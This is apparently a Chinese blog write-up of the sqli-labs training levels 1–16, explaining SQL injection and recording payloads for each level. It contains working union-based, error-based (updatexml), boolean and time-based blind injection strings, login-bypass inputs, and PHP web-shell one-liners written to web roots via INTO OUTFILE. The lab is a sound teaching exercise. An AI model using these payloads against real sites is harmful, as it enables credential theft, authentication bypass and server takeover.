sql-lab(1-16)

 SQL注入原理

1.SQL注入概念及产生原因:

当web应用向后台数据库传递SQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。

2.SQL注入的本质:

把用户输入的数据当作代码来执行,违背了“数据与代码分离”的原则

3.SQL注入的两个关键点:

1,用户能控制输入的内容; 2,web应用把用户输入的内容带入到数据库执行;
SQL注入基础危害:
)盗取网站的敏感信息;
)绕过网站后台认证 后台登录语句: SELECT * FROM admin WHERE Username=‘user’ and Password=‘pass’ 万能密码:‘or ’1‘ = ’1‘ # ;
)借助SQL注入漏洞提权获取系统权限;
)读取文件信息。
MYSQL数据库注入-常用函数:
(1)user() 返回当前使用数据库的用户,也就是网站配置文件中连接数据库的账号 (2)version() 返回当前数据库的版本 (3)database() 返回当前使用的数据库,只有在use命令选择一个数据库之后,才能查到 (4)group_concat() 把数据库中的某列数据或某几列数据合并为一个字符串 (5)@@datadir 数据库路径 (6)@@version_compile_os 操作系统版本
SQL(联合)注入流程:
?id=1 and 1=1
1、判断有无闭合 and 1=1 and 1=2 //结果和第一个一样说明需要闭合,反之无闭合 有闭合则需要用到 --+闭合
2、猜解字段 order by 10 //采用二分法 3、判断数据回显位置 -1 union select 1,2,3,4,5.... //参数等号后面加-表示不显示当前数据 4、获取当前数据库名、用户、版本 union select version(),database(),user(),4...... 4、获取全部数据库名

union select 1,2,(select group\_concat(schema\_name)from information\_schema.schemata)

5、获取表名

union select 1,2,(select group\_concat(table\_name)from information\_schema.tables where table\_schema='库名'

6、获取字段名

union select 1,2,(select group\_concat(column\_name)from information\_schema.columns where table\_name='表名'

7、获取数据 union select 1,2,(select group_concat(字段1,字段2)from 库名.表名
函数名称: 函数功能:

查 库: select schema\_name from information\_schema.schema
查 表: select table\_name from information\_schema.tables where table\_schema=库名
查 列: select column\_name from information\_schema.columns where table\_name=表名
查数据: select 列名 from 库名.表名

总结--普通SQL注入必备条件:
1、界面能够回显数据库查询到的数据(必要条件);
2、界面回显内容至少能够显示数据库中的某列数据(必要条件);
3、部分能够直接提供数据库报错内容的回显;

一、 

1、打印所有数据库

select schema_name from information_schema.schemata;

2、打印数据库security的所有表

select table_name from information_schema.tables where table_schema='security';

3、打印数据库security的user表的所有的列(columns)

select column name from information schema.columns where table_name='users' and table_schema="security';

猜注入点

猜列

猜数据库名

猜表名

1.less01

让输入ID5c85ef090d8a49e3b652af9d2e0d11fa.png

尝试输入ID=1,发现输出结果

80a1ae13b5ee426fbec924ddc5162f00.png

开始寻找注入点:

82d4aff3ebee4955846323255f816fbe.png

 输入?id = 1'报错

a0f6a6d15c24491fa50c9a48804b287e.png

输入 ?id=1%27 or 1 = 1 --+  得出结果,有注入点 '

猜这个表有几列:

ad4c6b521c85435caa04125c8a5a418c.png

871e4a854d4448c8879d5e65c078cb97.png

输入?id=1' order by 3--+成功,

输入?id=1' order by 4--+失败,共三列

猜数据库

?id=-1' union select 1, group_concat(schema_name) ,3 from information_schema.schemata --+

 bfc7d7673c9745d8a0225a85b991e3d9.png

 猜表

?id=-1' union select 1, group_concat(table_name), 3 from information_schema.tables where table_schema='security' LIMIT 0,1--+

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' LIMIT 0,1--+

be20957507e04524bdbcb5c1bf6efa40.png
猜表users里面的列

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name = 'users' LIMIT 0,1--+

9b56a32ce11644658248c42cb879d72a.png

 打印列

?id=-1'union select 1,username, password from users where id=2--+
49f7c22d560a45ed81e099a400dd9f49.png

2.less2

b10c9f1be4174150ad534f16aaeb2ae3.png

尝试闭合方式为整数闭合

cdf4297790744100a5c72a060c54c089.png 接下来步骤与less1一样

3.less3

尝试闭合方式为')

4.less4

尝试闭合方式为")

二、

基于extractvalue()和updatexml()的报错注入

updatexml0 更新xml文档的函数

语法:updatexmK(目标xml内容,xml文档路径,更新的内容)

updatexml(1,concat(Ox7e,(SELECT database(),0x7e),1)

实际上这里是去更新了XML文档,但是我们在XML文档路径的位置里面写入了子查询,我们输入特殊字符,然后就因为不符合输入规则然后报错了

但是报错的时候他其实已经执行了那个子查询代码!

[Ox7e实际是是16进制,Mysql支持16进制,但是开头得写Ox0x7e是一个特殊符号,然后不符合路径规则报错]~~

updatexml ()这个函数一般是配合and或者是or使用的,他和联合查询不同,不需要在意什么字段数
select *from news where id=1 and updatexml(1.concat(Ox7e,(select database()),0x7e),1)
但是要注意,and情况下只要一个为False,就会判定是False,所以如果and前面的条件不成立的情况下,就不会执行之后的语句。所以使用的时候建议使用or
某些没有回显盲注也可以用这个updatexml()做出来。
但是报错一般有长度限制,不能输出太长的数据,尽量不要使用group_concat()。

5.less5

判断出闭合字符为'

c4f83a4642cd4d22b216418065b96922.png

faf252b592c746de8addefbdc4f1de84.png

e5465746bd7544c7869f8c6b287ae27c.png

 继续,发现有4列

f9e6ceade6f24ca8bab8448a4da4504f.png

之后却进行不下去,发现总是显示 you are in...

 接下来进行盲注

判断库名:?id=1 'and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--+

32bcb0f0b8d54456bbcea4ac7e9e6ff9.png

判断表名:?id=1 'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security'limit 0,1),0x7e),1)--+ 

615b9760df584a1091dd1548a4ca959a.png

判断列名:?id=1'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),0x7e),1)--+

6ae4c6e97a394f82a00fd10cdc8710f5.png

判断数据:?id=1 'and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1)--+

c4f579760824480fab7036f720fd3e62.png

6.less6

闭合为",其余同less5

7.less7

写马注入(不是很清楚)

 在利用sql注入漏洞后期,最常用的就是通过mysql的file系列函数来进行读取敏感文件或者写入webshell,其中比较常用的函数有以下三个

into dumpfile()
into outfile()
load_file()
union select 1,'<?php eval($_REQUEST[8])?>' into outfile 'c:.lphpstudylwww/1.php'
这些都是需要设置secure_file_priv,如果他为空则可以指定任意目录,如果有
设置等于某个路径就只能在这个指定路径下,而他为null时则禁止导入导出功能

b11bee53e5864ba882dabf20f94049d7.png

输入id=1,提示use outfile

$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";

- 正常访问
    id=1
     You are in.... Use outfile......
- 看来这题是要导出文件
    sqlmap 也可以执行相同的工作 这里就不解释了。
    使用outfile 写入到服务器,我们一般可以利用这个漏洞写入一句话马
    这里需要有两个已知项 1 字段值 2 绝对地址
    并且 系统必须有可读可写,在服务器上,完整的路径,
    导出命令: union select 1,2,3 into outfile "绝对地址" %23
- paylaod
    // 一般web都存放在默认的目录下,比如:
        1 c:/inetpub/wwwroot/
        2 linux的nginx一般是/usr/local/nginx/html
        3 /home/wwwroot/default
        4 /usr/share/nginx
        5 /var/www/html
    然后 验证是否具有这几个条件
    1 获取文件权限的可读
    1')) and (select count(*) from mysql.user)>0 %23
    2 注入文件
    这里要求猜一下他的绝对路径
    id=-1')) union select 1,2,3 into outfile "\\xxx\\1.txt" %23
    之后使用
    id=-1')) union select 1,"<?php @eval($_POST['giantbranch']);?>" into outfile "XXX\test.php" %23
    
    这里由于是使用docker,没有写成功
 

三、 

8.less8 

Sql注入思路及类型(持续更新ing)_IDgoodis的博客-CSDN博客

d7150ed93d3e49e3b1257d8f1eaae936.png

 猜解库名长度(通过不断逼近得出的结论)
?id=1' and (length(database()))=8 --+

9a58e07cb99f49ad89b1ba0a01635cc2.png

利用ASCII码猜解当前数据库名称:
?id=1' and (ascii(substr(database(),1,1)))=115--+

b10d9ab2aec74584aa7d38f46320017f.png

返回正常,说明数据库名称第一位是s

?id=1' and (ascii(substr(database(),2,1)))=101--+

5a1d2dd729c5453aadc7c715753b571d.png

返回正常,说明数据库名称第二位是e

...可以试出库名

猜表名:
?id=1' and (ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1,1)))=101--+

33906b512e49479fad475ce7c54c6b78.png

如果返回正常,说明数据库表名的第一个的第一位是e

...

判断出最后为emails
猜字段名
and (ascii(substr((select column_name from information_schema.columns where
table_name='emails' limit 0,1),1,1)>)=105--+如果返回正常,说明emails表中的列名称第一位是i

可以用burpsuite 

9.less9

时间盲注问题

同样按照盲注的手法,尝试后发现这里无论输入什么条件,回显的结果都是一个,这就证明不能再用刚刚布尔盲注的做法了,要尝试使用时氛盲注
猜解库名长度
?id=1' and if (length(database()=8,sleep(5),1) --+

 62a14acc1dfc4a989d234a20efbbc23b.png

得知库名长度为8;

其余同less8,但用方法为sleep延时操作

10.less10

与上述一样less9,但是闭合变为"

11.less11

这题转换为一个登录页面,输入不同账号密码,输出不同结果

3650c962f29c4613817f19112cd9d2fa.png

d04fa9014bdb4748bff17ab495c425b4.png

这题变为post传参,但是内容和之前的题差不多,同样要用到之前的语句

尝试万能密码:'or 1=1 -- mry
判断字段数: 'or 1=1 order by 2 -- mry
判断显错位:'union select 1,2 -- mry
判断库名: ' union select 1,database() --+
判断表名:'union select 1,table_name from information_schema.tables where table_schema='security' --+
判断列名:'union select 1,column_name from information_schema.columns where table_schema='security' and table_name='emails' --+
判断数据:' union select 1,id from emails --+

 f8a5560a95b24fe0bb0467ea4a67086c.png

12.less12 

 同样是闭合区别,变为了"),其余同less11

13.less13

将less5变成了post传参,其余基本不变

10b9599adac54a799585376f2236a185.png14.less14

另一种传参的报错输入

317e4905def544da913563754e00fc43.png

四、 

15.less15 

输入admin  admin,出现登陆成功界面,但没有任何提示

1fc5df6e418f46f3906b94f22259d3ef.png

输错的话只是显示登录失败,并没有任何提示 

6797eee90f5a4c5b8692e3c163c23db1.png

考虑用盲注

 532282252d594d31afc21f60da13ea8d.png

注意这里用到的是or,而不是and,和之前是有区别的

16.less16 

和上面一样的思路,只是闭合的区别,这题用到的闭合是"),都是经过post传参的盲注

451cc69f7556403ebc0cf77e088b5ec9.png

五、未完待续

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值